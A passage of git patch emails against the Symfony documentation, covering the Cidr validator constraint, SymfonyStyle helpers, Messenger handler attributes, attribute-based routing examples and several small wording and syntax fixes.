+constraint in which the value of the netmask is valid.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `netmaskRangeViolationMessage`_
+            - `payload`_
+            - `version`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cidr`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            /**
+             * @Assert\Cidr
+             */
+            protected $cidrNotation;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Cidr]
+            protected $cidrNotation;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                cidrNotation:
+                    - Cidr: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="cidrNotation">
+                    <constraint name="Cidr"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CIDR notation.``
+
+This message is shown if the string is not a valid CIDR notation.
+
+``netmaskMin``
+~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+It's a constraint for the lowest value a valid netmask may have.
+
+``netmaskMax``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``32 for IPv4 or 128 for IPv6``
+
+It's a constraint for the biggest value a valid netmask may have.
+
+``netmaskRangeViolationMessage``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.``
+
+This message is shown if the value of the CIDR's netmask is bigger then the value of the `max_` or lower than
+the value of the `min_`.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ min }}``  The minimum value a CIDR netmask may have
+``{{ max }}``  The maximum value a CIDR netmask may have
+===============  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``version``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+This determines exactly *how* the CIDR notation is validated and can take one
+of a variety of different values:
+
+**All ranges**
+
+``4``
+    Validates for CIDR notations that have an IPv4.
+``6``
+    Validates for CIDR notations that have an IPv6.
+``all``
+    Validates all CIDR formats
+

From 2d2f03578acc35c2ef423618cc885ea676cd3861 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 21 Oct 2021 08:58:39 -0400
Subject: [PATCH 2618/7107] document SymfonyStyle additions

---
 console/style.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index c680e3703df..5dc5f24fca8 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -165,6 +165,14 @@ Content Methods
             ['foo4' => 'bar4']
         );
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
+    styled according to the Symfony Style Guide.
+
+.. versionadded:: 5.4
+
+    The ``createTable()`` method was introduced in Symfony 5.4.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper
@@ -243,6 +251,24 @@ Progress Bar Methods
 
         $io->progressFinish();
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::progressIterate`
+    If your progress bar loops over an iterable collection, use the
+    ``progressIterate()`` helper::
+
+        $iterable = [1, 2];
+
+        foreach ($io->progressIterate($iterable) as $value) {
+            // ... do some work
+        }
+
+.. versionadded:: 5.4
+
+    The ``progressIterate`` method was introduced in Symfony 5.4.
+
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
+    styled according to the Symfony Style Guide.
+
 User Input Methods
 ~~~~~~~~~~~~~~~~~~
 

From 54622e6331c65db57c33362b546e09d7212c17c2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 22 Oct 2021 01:26:47 +0200
Subject: [PATCH 2619/7107] Removing duplicate "Bootstrap 4 form theme"

---
 form/form_customization.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 654dfaa2a7e..61afcdd1130 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -257,8 +257,8 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the Bootstrap 4 form theme, ``form_errors()`` is already included
-    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+    In the :ref:`reference-forms-bootstrap4-error-messages`, ``form_errors()``
+    is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
 

From 0ef62945ee94c0380de9211105301ffa41e00a7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 11:50:05 +0200
Subject: [PATCH 2620/7107] Minor typo

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index aa9670afd4f..3da20747c65 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -85,7 +85,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 
     By default, all inputs are rendered with the ``mb-3`` class on their
     container. If you override the ``row_attr`` class option, the ``mb-3`` will
-    be overriden too and you will need to explicitly add it.
+    be overridden too and you will need to explicitly add it.
 
 Error Messages
 --------------

From 37195a8cdd71205759218a4e52a183dec2dd8a9b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 15:16:45 +0200
Subject: [PATCH 2621/7107] [Bundles] Improve the wording about mapping best
 practices

---
 best_practices.rst         | 11 +++++++----
 bundles/best_practices.rst | 13 +++++++++++--
 2 files changed, 18 insertions(+), 6 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 4928c79a6f9..e7d81bd23a3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -194,17 +194,20 @@ you'll need to configure services (or parts of them) manually.
 YAML is the format recommended to configure services because it's friendly to
 newcomers and concise, but Symfony also supports XML and PHP configuration.
 
-Use Annotations to Define the Doctrine Entity Mapping
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes to Define the Doctrine Entity Mapping
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Doctrine entities are plain PHP objects that you store in some "database".
 Doctrine only knows about your entities through the mapping metadata configured
 for your model classes.
 
-Doctrine supports several metadata formats, but it's recommended to use
-annotations because they are by far the most convenient and agile way of setting
+Doctrine supports several metadata formats, but it's recommended to use PHP
+attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
+If your PHP version doesn't support attributes yet, use annotations, which is
+similar but requires installing some extra dependencies in your project.
+
 Controllers
 -----------
 
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index ba0627ecc21..dec1e907ca7 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -123,8 +123,8 @@ Type                                                 Directory
 Commands                                             ``src/Command/``
 Controllers                                          ``src/Controller/``
 Service Container Extensions                         ``src/DependencyInjection/``
-Doctrine ORM entities (when not using annotations)   ``src/Entity/``
-Doctrine ODM documents (when not using annotations)  ``src/Document/``
+Doctrine ORM entities                                ``src/Entity/``
+Doctrine ODM documents                               ``src/Document/``
 Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
 Web Assets (CSS, JS, images)                         ``public/``
@@ -162,6 +162,15 @@ standard Symfony autoloading instead.
 A bundle should also not embed third-party libraries written in JavaScript,
 CSS or any other language.
 
+Doctrine Entities/Documents
+---------------------------
+
+If the bundle includes Doctrine ORM entities and/or ODM documents, it's
+recommended to define their mapping using XML files stored in
+``Resources/config/doctrine/``. This allows to override that mapping using the
+:doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
+This is not possible when using annotations/attributes to define the mapping.
+
 Tests
 -----
 

From fdd8b868f820fc36120ad503e69a453dde07a557 Mon Sep 17 00:00:00 2001
From: Alireza Mirsepassi <alirezamirsepassi@gmail.com>
Date: Fri, 22 Oct 2021 20:11:42 +0330
Subject: [PATCH 2622/7107] [Messenger] Autoconfigurable attributes

---
 messenger.rst | 47 ++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 40 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index cbbd7e6b31f..7e8d1aa640f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -51,17 +51,19 @@ serialized::
 .. _messenger-handler:
 
 A message handler is a PHP callable, the recommended way to create it is to
-create a class that implements :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
-and has an ``__invoke()`` method that's type-hinted with the message class (or a
-message interface)::
+create a class using :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
+attribute which has an ``__invoke()`` method that's type-hinted with the
+message class (or a message interface) or you can create a class without the attribute, by implementing
+:class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
 
     use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Handler\MessageHandlerInterface;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
 
-    class SmsNotificationHandler implements MessageHandlerInterface
+    #[AsMessageHandler]
+    class SmsNotificationHandler
     {
         public function __invoke(SmsNotification $message)
         {
@@ -349,9 +351,10 @@ Then, in your handler, you can query for a fresh object::
 
     use App\Message\NewUserWelcomeEmail;
     use App\Repository\UserRepository;
-    use Symfony\Component\Messenger\Handler\MessageHandlerInterface;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
 
-    class NewUserWelcomeEmailHandler implements MessageHandlerInterface
+    #[AsMessageHandler]
+    class NewUserWelcomeEmailHandler
     {
         private $userRepository;
 
@@ -1769,6 +1772,36 @@ Customizing Handlers
 
 .. _messenger-handler-config:
 
+Configuring Handlers Using Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can configure your handler easily by passing options to the attribute::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\OtherSmsNotification;
+    use App\Message\SmsNotification;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
+    #[AsMessageHandler(fromTransport: 'async', priority: 10)]
+    class SmsNotificationHandler
+    {
+        public function __invoke(SmsNotification $message)
+        {
+            // ...
+        }
+    }
+
+
+Possible options to configure with the attribute are:
+
+* ``bus``
+* ``fromTransport``
+* ``handles``
+* ``method``
+* ``priority``
+
 Manually Configuring Handlers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From bc60e9ecc35dbdd9c7800380116b085753073192 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 19:52:13 +0200
Subject: [PATCH 2623/7107] Fix a minor RST syntax issue

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 6f818894e5e..c55c471fcee 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -82,8 +82,8 @@ you run off to play the lottery, check out how this works. Remember the two step
 to creating a page?
 
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
-    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-    in its own section, including how to make *variable* URLs;
+   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
+   in its own section, including how to make *variable* URLs;
 
 #. *Create a controller*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`

From 3753606f430cd871c491166b0f3fe5f767691f44 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 20:07:55 +0200
Subject: [PATCH 2624/7107] Minor tweak

---
 form/form_customization.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 61afcdd1130..e88c29e11d7 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -257,8 +257,8 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the :ref:`reference-forms-bootstrap4-error-messages`, ``form_errors()``
-    is already included in ``form_label()``.
+    In the :ref:`error messages of Bootstrap 4 Form Theme <reference-forms-bootstrap4-error-messages>`,
+    ``form_errors()`` is already included in ``form_label()``.
 
 .. _reference-forms-twig-widget:
 

From 409a7f96bc88065d34553bc9357724d4e9717397 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 20:29:47 +0200
Subject: [PATCH 2625/7107] Minor reword

---
 testing.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 00103c6f48c..2f058ad8a5a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -923,7 +923,18 @@ Browser Assertions
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
-    Asserts the given Constraint in Client.
+    Asserts the given Constraint in the Client. Useful to use your custom asserts
+    in the same way of built-in asserts (i.e. without passing the Client as argument)::
+
+        // add this method in some custom class imported in your tests
+        protected static function assertMyOwnCustomAssert(): void
+        {
+            self::assertThatForClient(new SomeCustomConstraint());
+        }
+
+.. versionadded:: 5.4
+
+    The ``assertThatForClient()`` method was introduced in Symfony 5.4.
 
 Crawler Assertions
 ..................

From 06fd29e1f94a200d333041bf3ae9ffe494495e11 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Oct 2021 20:30:28 +0200
Subject: [PATCH 2626/7107] Remove a versionadded directive

---
 testing.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index c474ab839e9..f8c84ed0af2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -924,10 +924,6 @@ Browser Assertions
             self::assertThatForClient(new SomeCustomConstraint());
         }
 
-.. versionadded:: 5.4
-
-    The ``assertThatForClient()`` method was introduced in Symfony 5.4.
-
 Crawler Assertions
 ..................
 

From 2039abe41416fd4ec7e600ced889e5cf3642fbaf Mon Sep 17 00:00:00 2001
From: Tom Nguyen <7121553+tunggnu@users.noreply.github.com>
Date: Sat, 23 Oct 2021 10:57:52 +0700
Subject: [PATCH 2627/7107] Update http_client.rst: fix an outdated url

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index f62c0415b63..8efbd4b3a41 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1939,5 +1939,5 @@ test it in a real application::
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
-.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf

From 239c481082edc7be3a9f350b4dba01f8aaaa06eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C3=ABl=20Dieudonn=C3=A9?=
 <32196785+mdieudonne@users.noreply.github.com>
Date: Sat, 23 Oct 2021 23:27:06 +0200
Subject: [PATCH 2628/7107] Update mercure.rst

fix: add "script" element ending tag
fix: complete code-block directive
---
 mercure.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e9d9f163692..9a0c1e9dfea 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -251,7 +251,7 @@ Subscribing to updates in JavaScript from a Twig template is straightforward:
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
     }
-    <script>
+    </script>
 
 The ``mercure()`` Twig function will generate the URL of the Mercure hub
 according to the configuration. The URL will include the ``topic`` query
@@ -260,13 +260,15 @@ parameters corresponding to the topics passed as first argument.
 If you want to access to this URL from an external JavaScript file, generate the
 URL in a dedicated HTML element:
 
-.. code:: twig
+.. code-block:: twig
 
-    <script type="application/json" id="mercure-url">{{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}</script>
+    <script type="application/json" id="mercure-url">
+    {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
+    </script>
 
 Then retrieve it from your JS file:
 
-.. code:: javascript
+.. code-block:: javascript
 
     const url = JSON.parse(document.getElementById("mercure-url").textContent);
     const eventSource = new EventSource(url);

From 49c635ee342d9a41e12555f76cb1f8c68635ab09 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 25 Oct 2021 14:52:08 +0200
Subject: [PATCH 2629/7107] Removing MooTools (!)

---
 components/css_selector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index be68d1801ed..0d3dbf8dbf9 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -40,7 +40,7 @@ long and unwieldy expressions.
 Many developers -- particularly web developers -- are more comfortable
 using CSS selectors to find elements. As well as working in stylesheets,
 CSS selectors are used in JavaScript with the ``querySelectorAll()`` function
-and in popular JavaScript libraries such as jQuery, Prototype and MooTools.
+and in popular JavaScript libraries such as jQuery.
 
 CSS selectors are less powerful than XPath, but far easier to write, read
 and understand. Since they are less powerful, almost all CSS selectors can

From 44ffc2f64cdc535782aef9cdd5415f6dd3cbff34 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 26 Oct 2021 13:25:49 +0330
Subject: [PATCH 2630/7107] Add Attributes code

---
 page_creation.rst | 56 +++++++++++++++++++++++++++++++++--------------
 1 file changed, 39 insertions(+), 17 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 642d1dd2de8..7e17c017e9b 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -94,6 +94,10 @@ to creating a page?
 Annotation Routes
 -----------------
 
+.. caution::
+
+    If you use PHP8 or later, you do not need to install annotations package and instead of annotations, you can use structured metadata with PHP's native syntax (Attributes)
+
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
 routes. To do this, install the annotations package:
 
@@ -103,23 +107,41 @@ routes. To do this, install the annotations package:
 
 You can now add your route directly *above* the controller:
 
-.. code-block:: diff
-
-      // src/Controller/LuckyController.php
-
-      // ...
-    + use Symfony\Component\Routing\Annotation\Route;
-
-      class LuckyController
-      {
-    +     /**
-    +      * @Route("/lucky/number")
-    +      */
-          public function number()
-          {
-              // this looks exactly the same
-          }
-      }
+.. configuration-block::
+
+    .. code-block:: Annotations
+	
+		// src/Controller/LuckyController.php
+
+		// ...
+		+ use Symfony\Component\Routing\Annotation\Route;
+
+		class LuckyController
+		{
+		+   /**
+		+    * @Route("/lucky/number")
+		+    */
+			public function number()
+			{
+				// this looks exactly the same
+			}
+		}
+	
+    .. code-block:: Attributes
+	
+		// src/Controller/LuckyController.php
+
+		// ...
+		+ use Symfony\Component\Routing\Annotation\Route;
+
+		class LuckyController
+		{
+		+   #[Route('/lucky/number')
+			public function number()
+			{
+				// this looks exactly the same
+			}
+		}
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
 like before! Annotations are the recommended way to configure routes.

From 9320163d95828fd591a4b5129424f6eb34c36339 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 13:38:30 +0200
Subject: [PATCH 2631/7107] Fix some line numbers in a code example

---
 migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/migration.rst b/migration.rst
index 0c298af44a9..71c55ba240d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -289,7 +289,7 @@ could look something like this::
 
 There are 2 major deviations from the original file:
 
-Line 15
+Line 18
   First of all, ``$kernel`` is made globally available. This allows you to use
   Symfony features inside your existing application and gives access to
   services configured in our Symfony application. This helps you prepare your
@@ -297,7 +297,7 @@ Line 15
   it over. For instance, by replacing outdated or redundant libraries with
   Symfony components.
 
-Line 38 - 47
+Line 41 - 50
   Instead of sending the Symfony response directly, a ``LegacyBridge`` is
   called to decide whether the legacy application should be booted and used to
   create the response instead.

From bf28d093fe91c4245d68f3cf7260d6b3b6cf8f25 Mon Sep 17 00:00:00 2001
From: Lauri <laurilaks@protonmail.com>
Date: Mon, 25 Oct 2021 08:35:32 +0300
Subject: [PATCH 2632/7107] Remove unused param from LeapYearController::index

---
 create_framework/http_kernel_httpkernel_class.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 1cf76830abd..0f4e565b084 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -133,7 +133,7 @@ instead of a full Response object::
 
     class LeapYearController
     {
-        public function index(Request $request, $year)
+        public function index($year)
         {
             $leapYear = new LeapYear();
             if ($leapYear->isLeapYear($year)) {

From 90936ab2786537b4dd6693eb4eba539a3fec15f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 15:50:29 +0200
Subject: [PATCH 2633/7107] Minor reword

---
 page_creation.rst | 75 +++++++++++++++++++++++------------------------
 1 file changed, 36 insertions(+), 39 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 7e17c017e9b..cc00e592880 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -94,12 +94,9 @@ to creating a page?
 Annotation Routes
 -----------------
 
-.. caution::
-
-    If you use PHP8 or later, you do not need to install annotations package and instead of annotations, you can use structured metadata with PHP's native syntax (Attributes)
-
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
-routes. To do this, install the annotations package:
+or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
+PHP versions you can use annotations. To do this, install the annotations package:
 
 .. code-block:: terminal
 
@@ -109,42 +106,42 @@ You can now add your route directly *above* the controller:
 
 .. configuration-block::
 
-    .. code-block:: Annotations
-	
-		// src/Controller/LuckyController.php
-
-		// ...
-		+ use Symfony\Component\Routing\Annotation\Route;
-
-		class LuckyController
-		{
-		+   /**
-		+    * @Route("/lucky/number")
-		+    */
-			public function number()
-			{
-				// this looks exactly the same
-			}
-		}
-	
-    .. code-block:: Attributes
-	
-		// src/Controller/LuckyController.php
-
-		// ...
-		+ use Symfony\Component\Routing\Annotation\Route;
-
-		class LuckyController
-		{
-		+   #[Route('/lucky/number')
-			public function number()
-			{
-				// this looks exactly the same
-			}
-		}
+    .. code-block:: php-annotations
+
+        // src/Controller/LuckyController.php
+
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
+        {
+        +   /**
+        +    * @Route("/lucky/number")
+        +    */
+            public function number()
+            {
+                // this looks exactly the same
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/LuckyController.php
+
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
+        {
+        +   #[Route('/lucky/number')
+            public function number()
+            {
+                // this looks exactly the same
+            }
+        }
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
-like before! Annotations are the recommended way to configure routes.
+like before! Annotations/attributes are the recommended way to configure routes.
 
 .. _flex-quick-intro:
 

From b430be892853ad6d2699fa09ce6d63532649503c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 16:26:12 +0200
Subject: [PATCH 2634/7107] Minor tweaks

---
 configuration.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 81437a3f861..f08668905dd 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -718,8 +718,8 @@ you can encrypt the value using the :doc:`secrets management system </configurat
 Listing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-To understand how environment variables are set by the Dotenv component parsing various
-files, you can run the following command:
+Use the ``debug:dotenv`` command to understand how Symfony parses the different
+``.env`` files to set the value of each environment variable:
 
 .. code-block:: terminal
 
@@ -747,6 +747,10 @@ files, you can run the following command:
      ALICE      BOB     BOB        bob
     ---------- ------- ---------- ------
 
+.. versionadded:: 5.4
+
+    The ``debug:dotenv`` command was introduced in Symfony 5.4.
+
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 

From 0820621f7728cfbf2e7368606338ed0929076c92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Oct 2021 16:27:23 +0200
Subject: [PATCH 2635/7107] Remove the versionadded directive

---
 configuration.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index a21f39b7f46..e08760d88b9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -747,10 +747,6 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
      ALICE      BOB     BOB        bob
     ---------- ------- ---------- ------
 
-.. versionadded:: 5.4
-
-    The ``debug:dotenv`` command was introduced in Symfony 5.4.
-
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 

From bd8f1e35f7289577624a2904bbcab3282d1fd6c5 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 26 Oct 2021 20:25:03 +0200
Subject: [PATCH 2636/7107] [Validator] Add missing dot

The default NotBlank constraint message ends with a dot.
---
 validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 0f8d0d6e1a0..f48ab95d10c 100644
--- a/validation.rst
+++ b/validation.rst
@@ -179,7 +179,7 @@ message:
 .. code-block:: text
 
     Object(App\Entity\Author).name:
-        This value should not be blank
+        This value should not be blank.
 
 If you insert a value into the ``name`` property, the happy success message
 will appear.

From e83469e557c1da1e9c1b21c982389e0b8f039d6b Mon Sep 17 00:00:00 2001
From: Giacomo Moscardini <lamasfoker@users.noreply.github.com>
Date: Wed, 27 Oct 2021 12:43:07 +0200
Subject: [PATCH 2637/7107] Add ignoreAttributes to the documentation

---
 routing.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/routing.rst b/routing.rst
index bd014cfcfb6..230cda540fd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1367,6 +1367,8 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
                 # * for temporary redirects, it uses the 307 status code instead of 302
                 # * for permanent redirects, it uses the 308 status code instead of 301
                 keepRequestMethod: true
+                # add this to remove the parameters when redirecting
+                ignoreAttributes: true
 
         legacy_doc:
             path: /legacy/doc

From e1126491c9443dcc8a4b52bc34dbaba0d4b759d7 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 27 Oct 2021 10:42:08 -0400
Subject: [PATCH 2638/7107] [DependencyInjection] ServiceSubscriberTrait 5.4
 update

---
 .../service_subscribers_locators.rst          | 20 +++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index db75b181446..2459139ed70 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -627,8 +627,9 @@ Service Subscriber Trait
 
 The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
-that looks through all methods in your class that have no arguments and a return
-type. It provides a ``ServiceLocator`` for the services of those return types.
+that looks through all methods in your class that are marked with the
